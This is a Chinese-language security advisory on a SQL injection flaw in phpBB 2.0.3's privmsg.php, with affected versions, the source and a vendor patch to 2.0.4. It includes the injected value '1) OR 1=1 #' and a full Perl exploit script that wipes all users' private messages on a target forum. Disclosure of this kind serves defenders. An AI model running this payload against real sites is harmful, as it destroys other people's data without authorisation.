首页 -> 安全研究

安全研究

安全漏洞
phpBB2 privmsg.php SQL注入漏洞

发布日期:2003-01-17
更新日期:2003-01-22

受影响系统:
phpBB Group phpBB 2.0.3
不受影响系统:
phpBB Group phpBB 2.0.4
描述:
BUGTRAQ  ID: 6634

phpBB2是一款免费开放源代码的WEB论坛/社区程序,由PHP语言实现,可以运行在Unix/Linux、MacOS、Microsoft Windows系统下。

phpBB2中的privmsg.php脚本对用户提交的输入缺少充分过滤,远程攻击者可以利用这个漏洞更改数据库逻辑,删除所有私人消息。

phpBB2用户可以发送私人消息给任意用户,不过privmsg.php脚本中删除私人消息的函数存在SQL注入漏洞。如果我们提交要删除私人消息号码为"1) OR 1=1 #"的请求,系统上所有用户的私人消息将被删除。

私人消息存储在两个表中,SQL注入只能工作在其中之一个表中,因此所有文本字段信息全部删除,但是主题和metadata数据只有当前登录用户才能被删除。

<*来源:Ulf Harnhammar (ulfh@update.uu.se
  
  链接:http://lists.netsys.com/pipermail/full-disclosure/2003-January/003591.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Ulf Harnhammar (ulfh@update.uu.se)提供了如下测试方法:

privmsg.php?folder=inbox&sid=[THE SID VALUE]:

  mode=""
  delete="true"
  mark[]="1) OR 1=1 #"
  confirm="Yes"

如果你在关闭cookie的情况下登录系统,当前SID值会显示在URL字段中。

测试脚本:

#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
        "Host: $host$crlf".
        "User-Agent: Mozzarella/1.37++$crlf".
        "Referer: http://www.phpbb.com/$crlf".
        "Connection: close$crlf".
        "Content-Type: application/x-www-form-urlencoded$crlf".
        "Content-Length: 58$crlf$crlf".
        "mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";

$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);

socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";

select SOK; $| = 1; select STDOUT;

print SOK $http;

$junk = '';
while (<SOK>) { $junk .= $_; }

close SOK or die "Couldn't close!\n";

建议:
厂商补丁:

phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

phpBB Group Upgrade phpBB 2.0.4
http://www.phpbb.com/downloads.php

浏览次数:4050
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障